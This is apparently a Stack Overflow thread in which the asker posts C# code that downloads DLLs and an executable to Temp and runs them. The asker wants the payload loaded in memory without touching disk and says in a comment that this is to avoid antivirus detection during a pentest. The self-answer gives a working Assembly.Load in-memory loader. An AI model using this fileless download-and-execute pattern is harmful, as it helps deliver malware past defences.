0

I would like to ask what is the best approach in order to download an exe file where it is depended by 2 dll files in order to run without touching the disk!

For example my download code is:

private static void checkDlls()
{
    string path = Environment.GetEnvironmentVariable("Temp");
    string[] dlls = new string[3]
    {
        "DLL Link 1",
        "DLL Link 2",
        "Executalbe File Link"
    };

    foreach (string dll in dlls)
    {
        if (!File.Exists(path + "\\" + dll))
        {
            try
            {
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(dll, path+"\\"+dll);
                Process.Start(path + "\\Build.exe");
            }
            catch (System.Net.WebException)
            {
                Console.WriteLine("Not connected to internet!");
                Environment.Exit(3);
            }

        }
    }
}

Thanks in advance for your answers.

PS: i know that the run in memory code is missing but that is what i am asking, it hasn't yet implemented.

The file i want to run in memory is a C# exe where it needs 2 dll files in order to run i want something similar to https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=netcore-3.1 but for my executable file. Plus i want to know how this will affect the process because the dlls are unmanaged and cannot be merged into the project.

0xyg3n
  • 33
  • 10
  • 1
    C# or native executable? See https://stackoverflow.com/questions/3553875/load-an-exe-file-and-run-it-from-memory for C#. – AKX Jun 15 '20 at 12:47
  • you can create a self extracting exe and download it, otherwise you can download a zip containing all the files – Vivek Nuna Jun 15 '20 at 12:48
  • Related: [Load an EXE file and run it from memory](https://stackoverflow.com/questions/3553875) – xdtTransform Jun 15 '20 at 12:48
  • dupe: [How To Run A Downloaded File From Memory?](https://stackoverflow.com/questions/14202328/) – xdtTransform Jun 15 '20 at 12:50
  • Plenty of hits for "run exe from memory C#", what have you tried? And are you sure you want to do this? – CodeCaster Jun 15 '20 at 12:50
  • The whole project is for a pentest i am currently doing and i would like to ask how to do that because the first file i am using is encrypted but the second i am using is not .... meaning that if i run the first encrypted file which will download the second one on the disk it will be cut on runtime because of av detection. – 0xyg3n Jun 15 '20 at 12:50
  • @xdtTransform No man its not what i need, you say a downloaded file, i want the file to be downloaded and run through the memory like ... powershell downloadstring for example. – 0xyg3n Jun 15 '20 at 12:52

1 Answers1

1

After searching and searching.... i found this :)

using System.Reflection;
using System.Threading;

namespace MemoryAppLoader
{
    public static class MemoryUtils
    {
        public static Thread RunFromMemory(byte[] bytes)
        {
            var thread = new Thread(new ThreadStart(() =>
            {
                var assembly = Assembly.Load(bytes);
                MethodInfo method = assembly.EntryPoint;
                if (method != null)
                {
                    method.Invoke(null, null);
                }
            }));

            thread.SetApartmentState(ApartmentState.STA);
            thread.Start();

            return thread;
        }
    }
}

DLLs You have to copy all of your DLLs to the directory with the launcher, so that the running process can access them. In case you would like to have an application in a single file, you can always pack all together and unpack from the launcher.

It is also possible to prepare an application with embedded libraries.

Source: https://wojciechkulik.pl/csharp/run-an-application-from-memory

0xyg3n
  • 33
  • 10